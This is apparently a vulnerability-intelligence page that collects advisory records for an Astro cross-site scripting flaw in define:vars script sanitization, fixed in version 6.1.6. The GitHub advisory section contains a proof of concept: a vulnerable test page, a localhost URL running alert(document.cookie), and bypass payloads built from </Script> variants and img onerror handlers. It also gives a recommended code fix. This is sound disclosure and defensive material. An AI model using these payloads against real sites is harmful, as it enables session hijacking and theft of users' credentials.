Astro: XSS via incomplete `</script>` sanitization in `define:vars` allows case-insensitive and whitespace-based bypass

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Astro is a web framework. Prior to 6.1.6, the defineScriptVars function in Astro's server-side rendering pipeline uses a case-sensitive regex /<\/script>/g to sanitize values injected into inline <script> tags via the define:vars directive. HTML parsers close <script> elements case-insensitively and also accept whitespace or / before the closing >, allowing an attacker to bypass the sanitization with payloads like </Script>, </script >, or </script/> and inject arbitrary HTML/JavaScript. This vulnerability is fixed in 6.1.6.

Source published

24 Apr 2026 16:57:22 UTC

Source modified

24 Apr 2026 18:16:55 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 6.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Astro is a web framework. Prior to 6.1.6, the defineScriptVars function in Astro's server-side rendering pipeline uses a case-sensitive regex /<\/script>/g to sanitize values injected into inline <script> tags via the define:vars directive. HTML parsers close <script> elements case-insensitively and also accept whitespace or / before the closing >, allowing an attacker to bypass the sanitization with payloads like </Script>, </script >, or </script/> and inject arbitrary HTML/JavaScript. This vulnerability is fixed in 6.1.6.

Source published

Apr 24, 2026, 4:57:22 PM (timezone not stated)

Source modified

Apr 24, 2026, 6:16:55 PM (timezone not stated)

Observed here

1 Nov 2026 07:05:31 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 6.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Astro is a web framework. Prior to 6.1.6, the defineScriptVars function in Astro's server-side rendering pipeline uses a case-sensitive regex /<\/script>/g to sanitize values injected into inline <script> tags via the define:vars directive. HTML parsers close <script> elements case-insensitively and also accept whitespace or / before the closing >, allowing an attacker to bypass the sanitization with payloads like </Script>, </script >, or </script/> and inject arbitrary HTML/JavaScript. This vulnerability is fixed in 6.1.6.

Source published

24 Apr 2026 17:16:21 UTC

Source modified

26 Oct 2026 22:10:00 UTC

Observed here

27 Oct 2026 10:10:07 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 6.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

## Summary The `defineScriptVars` function in Astro's server-side rendering pipeline uses a case-sensitive regex `/<\/script>/g` to sanitize values injected into inline `<script>` tags via the `define:vars` directive. HTML parsers close `<script>` elements case-insensitively and also accept whitespace or `/` before the closing `>`, allowing an attacker to bypass the sanitization with payloads like `</Script>`, `</script >`, or `</script/>` and inject arbitrary HTML/JavaScript. ## Details The vulnerable function is `defineScriptVars` at `packages/astro/src/runtime/server/render/util.ts:42-53`: ```typescript export function defineScriptVars(vars: Record<any, any>) { let output = ''; for (const [key, value] of Object.entries(vars)) { output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace( /<\/script>/g, // ← Case-sensitive, exact match only '\\x3C/script>', )};\n`; } return markHTMLString(output); } ``` This function is called from `renderElement` at `util.ts:172-174` when a `<script>` element has `define:vars`: ```typescript if (name === 'script') { delete props.hoist; children = defineScriptVars(defineVars) + '\n' + children; } ``` The regex `/<\/script>/g` fails to match three classes of closing script tags that HTML parsers accept per the [HTML specification §13.2.6.4](https://html.spec.whatwg.org/multipage/parsing.html#parsing-main-inbody): 1. **Case variations**: `</Script>`, `</SCRIPT>`, `</sCrIpT>` — HTML tag names are case-insensitive but the regex has no `i` flag. 2. **Whitespace before `>`**: `</script >`, `</script\t>`, `</script\n>` — after the tag name, the HTML tokenizer enters the "before attribute name" state on ASCII whitespace. 3. **Self-closing slash**: `</script/>` — the tokenizer enters "self-closing start tag" state on `/`. `JSON.stringify()` does not escape `<`, `>`, or `/` characters, so all these payloads pass through serialization unchanged. **Execution flow:** User-controlled input (e.g., `Astro.url.searchParams`) → assigned to a variable → passed via `define:vars` on a `<script>` tag → `renderElement` → `defineScriptVars` → incomplete sanitization → injected into `<script>` block in HTML response → browser closes the script element early → attacker-controlled HTML parsed and executed. ## PoC **Step 1:** Create an SSR Astro page (`src/pages/index.astro`): ```astro --- const name = Astro.url.searchParams.get('name') || 'World'; --- <html> <body> <h1>Hello</h1> <script define:vars={{ name }}> console.log(name); </script> </body> </html> ``` **Step 2:** Ensure SSR is enabled in `astro.config.mjs`: ```js export default defineConfig({ output: 'server' }); ``` **Step 3:** Start the dev server and visit: ``` http://localhost:4321/?name=</Script><img/src=x%20onerror=alert(document.cookie)> ``` **Step 4:** View the HTML source. The output contains: ```html <script>const name = "</Script><img/src=x onerror=alert(document.cookie)>"; console.log(name); </script> ``` The browser's HTML parser matches `</Script>` case-insensitively, closing the script block. The `<img onerror=alert(document.cookie)>` is then parsed as HTML and the JavaScript in `onerror` executes. **Alternative bypass payloads:** ``` /?name=</script ><img/src=x onerror=alert(1)> /?name=</script/><img/src=x onerror=alert(1)> /?name=</SCRIPT><img/src=x onerror=alert(1)> ``` ## Impact An attacker can execute arbitrary JavaScript in the context of a victim's browser session on any SSR Astro application that passes request-derived data to `define:vars` on a `<script>` tag. This is a documented and expected usage pattern in Astro. Exploitation enables: - **Session hijacking** via cookie theft (`document.cookie`) - **Credential theft** by injecting fake login forms or keyloggers - **Defacement** of the rendered page - **Redirection** to attacker-controlled domains The vulnerability affects all Astro versions that support `define:vars` and is exploitable in any SSR deployment where user input reaches a `define:vars` script variable. ## Recommended Fix Replace the case-sensitive exact-match regex with a comprehensive escape that covers all HTML parser edge cases. The simplest correct fix is to escape all `<` characters in the JSON output: ```typescript export function defineScriptVars(vars: Record<any, any>) { let output = ''; for (const [key, value] of Object.entries(vars)) { output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace( /</g, '\\u003c', )};\n`; } return markHTMLString(output); } ``` This is the standard approach used by frameworks like Next.js and Rails. Replacing every `<` with `\u003c` is safe inside JSON string contexts (JavaScript treats `\u003c` as `<` at runtime) and eliminates all possible `</script>` variants including case variations, whitespace, and self-closing forms.

Source published

21 Apr 2026 20:39:49 UTC

Source modified

5 May 2026 16:07:54 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Publisher rating · MODERATE